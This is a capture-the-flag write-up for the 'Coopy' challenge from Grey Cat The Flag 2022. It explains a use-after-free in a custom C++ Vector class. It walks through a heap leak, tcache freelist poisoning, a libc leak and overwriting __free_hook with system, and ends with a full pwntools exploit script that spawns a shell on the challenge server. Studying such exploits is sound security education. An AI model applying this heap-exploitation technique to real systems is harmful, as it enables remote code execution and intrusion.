Coopy

In Grey Cat The Flag 2022, 498 points

DIY Vector class cuz why not.

nc challs.nusgreyhats.org 13501

Challenge files: coopy.zip

Introduction

This C++ program implements a Vector class, a resizable array of objects. Objects can be inserted into the array, which is automatically resized if there is insufficient space to store objects. In this case, only C++ strings are stored. Unlike C strings, which are just a sequence of bytes, C++ strings are more complex, often consisting of metadata such as the length of the string as well as a pointer to the underlying C string. However, this is implementation dependent.

The binary is a position independent binary with full RELRO and NX enabled.

Analysis

Here's most of the important parts from the Vector class:

class Vector {
    void push_back(T val) {
        if (len == cap) {
            reallocate();
        }
        *(ptr + len) = val;
        len++;
    }
    void reallocate() {
        auto ncap = cap * 2;
        auto nptr = new T[ncap];
        memcpy(nptr, ptr, len * sizeof(T));
        delete []ptr;
        ptr = nptr;
        cap = ncap;
    }
};

The push_back function checks if the length (number of elements) in the vector is at its capacity (number of elements that can be stored given the currently allocated space). If it is, it calls reallocate to allocate more space. A new array with double the capacity is malloced (the new keywork in c++ is basically malloc) and old contents are copied over to the new array. The old array is then freed (via delete). Nothing suspicious right? We'll come back to this later, but let's first look at what we can do with the Vector class:

void print_stats(string& str) {
    printf("Stats for string: %s\n", str.c_str());
    printf("size: %ld\n", sizeof(string));
    printf("0x00: %p\n", (void*) *(size_t*)((void*)&str));
    printf("0x08: %p\n", (void*) *(1 + (size_t*)((void*)&str)));
    printf("0x10: %p\n", (void*) *(2 + (size_t*)((void*)&str)));
    printf("0x18: %p\n", (void*) *(3 + (size_t*)((void*)&str)));
}
switch (opt) {
    case 1:
        {
            string str;
            cout << "enter string: ";
            cin >> str;
            v.push_back(str);
            break;
        }
    case 2:
        {
            int idx = get_index();
            cout << "v[" << idx << "]: ";
            cout << v[idx] << endl;
            break;
        }
    case 3:
        {
            int idx = get_index();
            cout << "enter string: ";
            cin >> v[idx];
            break;
        }
    case 1337:
        {
            print_stats(v[get_index()]);
            break;
        }
}

We can add strings, read them and edit them, but we can't delete strings. We can also print a bunch of memory used by the string object via the print_stats function. Note that it's using .c_str() to convert the C++ string to a byte array so it can be printed using printf("%s").

Finally, we won't look at the C++ string implementation. Instead, we'll just look at the memory layout of some strings in gdb and try and figure out how things work. This is probably much easier than reading the C++ source code.

Here I have stored the string "nushmallows":

The first 8 bytes/quadword/qword contains a pointer to the C string, which is stored starting from the 3rd qword. The second qword stores the length (0xb=11).

Nothing too complicated here. It seems C++ strings have a fixed length of 4 qwords (32 bytes) and thus store a maximum of 16 bytes of data and 16 bytes of metadata.

Now let's try longer strings, like "nushmallowsnushmallowsnushmallows":

Hmm we still have our pointer and length (0x21=33), but our data is nowhere to be seen. Let's check that the pointer still points to the right string:

Of course it does. As strings can have arbitrary length, they are probably dynamically allocated and thus stored on the heap. Let's check it out:

Indeed it is (I have edited out some chunks that aren't really important):

The red chunk stores our string, while the green chunk stores the array used by the Vector class.

The first qword stores the capacity of the array (4 string objects) and the array items fill up the rest.

As a final test, let's allocate a really long string ('a'*1000):

Seems as expected: we have a pointer and the length (0x3e8). What's interesting is the heap bins (if you don't know what a heap bin is, watch this video and read my other writeup):

If you've done any heap challenges before, you'll know that unsorted bins are really useful as they contain libc pointers, allowing us to bypass ASLR. But why do we even have something in bins already? We haven't freed anything? As it turns out, this unsort bin chunk probably originates from some C++ internal functions, such as those that read the string. After the string has been read to this temporary buffer, it is copied to somewhere else and the temporary buffer is freed.

Ok, now that we kind of know how C++ strings work, let's get to the vulnerability.

Vulnerability

The vulnerability originates in the reallocate method of the Vector class (reproduced here):

void reallocate() {
    auto ncap = cap * 2;
    auto nptr = new T[ncap];
    memcpy(nptr, ptr, len * sizeof(T));
    delete []ptr;
    ptr = nptr;
    cap = ncap;
}

It turns out that when an array of strings are deleted, any chunks used to store the C-string are freed as well.

I've added a few more strings so that the array is reallocated. Let's look at the chunk used to store the 1000 'a's from earlier:

Well, no more 'a's there. It's been freed and is now part of the tcache:

Hmm, but we just memcpyed the C++ string data into the new array. Aren't the C-string pointers invalid now that we've freed them?

That is exactly the vulnerability present in this code. By retaining a reference to freed pointers, a use-after-free (UAF) vulnerability is present.

In the next section, we will explore the exploitation of this vulnerability to obtain an arbitrary read/write primitive and eventually obtain RCE.

Exploitation

As with many exploits, it makes sense to begin at the end.

Our goal will be to overwrite the __free_hook in libc to system. Thus, when we free a chunk that starts with /bin/sh, system("/bin/sh") will also be called, allowing us to obtain a shell. (One-gadgets could possibly be used, but in my experience they almost never work with libc 2.31.)

To do this, we'll need to leak a libc address as well as obtain an arbitrary write primitive.

But first, we should leak a heap address, so we can have an idea of where chunks are located on the heap. This is fairly easy, as the second qword of a freed (tcache) chunk contains a pointer to the first chunk allocated in the heap:

Since we have a UAF vulnerability, all we have to do is create 5 strings, then read any of the first 4. When the 5th string is allocated, the C-string pointers of the first 4 will be freed, allowing us to leak heap addresses:

(anyone who's done too much heap pwn would know that 0x55 = 'U').

Now that we know the address of the first heap chunk, we can calculate the address of every other chunk as the chunk allocation pattern (hopefully) stays constant across runs, so the offset of each chunk from the first chunk remains the same.

Now we will exploit the tcache freelist to obtain our arbitrary write. Since we can write to freed memory, we can overwrite the first qword of a freed chunk, which points to the next freed chunk in the tcache. Subsequent mallocs will traverse this free list and unlink the first suitably sized chunk. Thus by manipulating the pointers in this list we can get malloc to return any address we want.

But which address do we want to access? The final target is __free_hook, but we don't know its address yet. First, we need to leak a libc address by reading from the chunk that was placed into the unsorted bin (see previous section). Luckily, we do know the address of this chunk, since we know its offset from the first chunk, and we've leaked the first chunk's address.

However, we'll need to do a lot of tcache freelist manipulation to get malloc to give us 2 arbitrary chunks, first the unsort bin chunk, then __free_hook. There must be a better solution.

Well, we can get malloc to return a pointer to the array of C++ strings instead. Now we can overwrite the C-string pointer of a certain string to some address, then read/write that string, allowing us to achieve arbitrary read and write. Here's a couple of diagrams (made with MS pain):

Hopefully those pictures explained it clearly. I won't really go into the details but the offsets of many of these things are obtained via gdb.

Anyway with the arb read/write we can proceed with the plan detailed at the start of this section:

from pwn import *

e = ELF("coopy")
libc = ELF("libc-2.31.so", checksec=False)
ld = ELF("ld-2.31.so", checksec=False)
context.binary = e
def setup():
    p = remote("challs.nusgreyhats.org", 13501)
    return p

if __name__ == '__main__':
    p = setup()
    for i in range(2):
        p.sendline(b"1")
        p.recvuntil(b"enter string:")
        p.sendline(b"1")
    # 2 Setup unsort bin
    p.sendline(b"1")
    p.recvuntil(b"enter string:")
    p.sendline(b"a"*1000)
    # 3 We will manipulate the tcache freelist of this chunk
    p.sendline(b"1")
    p.recvuntil(b"enter string:")
    p.sendline(b"b"*20)
    # 4
    p.sendline(b"1")
    p.recvuntil(b"enter string:")
    p.sendline(b"c")
    # 5 We will reallocate a C-string to this chunk and overwrite its pointer
    p.sendline(b"1")
    p.recvuntil(b"enter string:")
    p.sendline(b"d")
    p.sendline(b"2")
    p.sendline(b"3")
    p.recvuntil("v[3]: ")
    # Leak heap address
    x = p.recvline(keepends=False)[8:14]
    l = u64(x+b"\x00\x00")
    print(hex(l))

    p.sendline(b"3")
    p.sendline(b"3")
    p.recvuntil(b"enter string:")
    # -8 because there was a bit of random garbage before the chunk that
    # libc thinks is metadata but is actually garbage
    wr = l+0x13c10-0x8+0xc00 
    p.sendline(p64(wr))
	
    # We are (hopefully) reallocated the C++ string chunk for 5
    # 6, writing here controls ptr for 5    
    p.sendline(b"1")
    p.recvuntil(b"enter string:")
    # We can only write 22 bytes before libc gives us a new, larger chunk
    # That's just enough to write the address of the unsortbin chunk tho
    p.sendline(b"e"*8+p64(0x21)+p64(l+0x13c80+0xc00)[:6])
    p.sendline(b"1337")
    p.sendline(b"5")
    # Using the read function didn't work for some reason
    # Probably cos I'm dumb and used '1' as the length of the original string
    # and read uses that instead of the new one ¯\_(ツ)_/¯
    p.recvuntil("Stats for string: ") 
    x = p.recvline(keepends=False)
    print(x)
    leak = u64(x+b"\0\0")
    libc.address = leak - 0x1bebe0 -0x2e000 # wow a libc leak
    print(hex(libc.address))
    p.sendline(b"3")
    p.sendline(b"6")
    print(hex(libc.sym.__free_hook), hex(libc.sym.system))
    # Now we leverage arb write to write __free_hook
    p.sendline(b"a"*8+p64(0x21)+p64(libc.sym.__free_hook)[:6])
    p.sendline(b"3")
    p.sendline(b"5")
    # to system
    p.sendline(p64(libc.sym.system))
    p.sendline(b"3")
    p.sendline(b"0")
    # And trigger free to get a shell!
    p.sendline(b"/bin/sh\0"+b"a"*1000)

    p.interactive()

Flag: grey{d0nt_c0py_1n_3x4ms}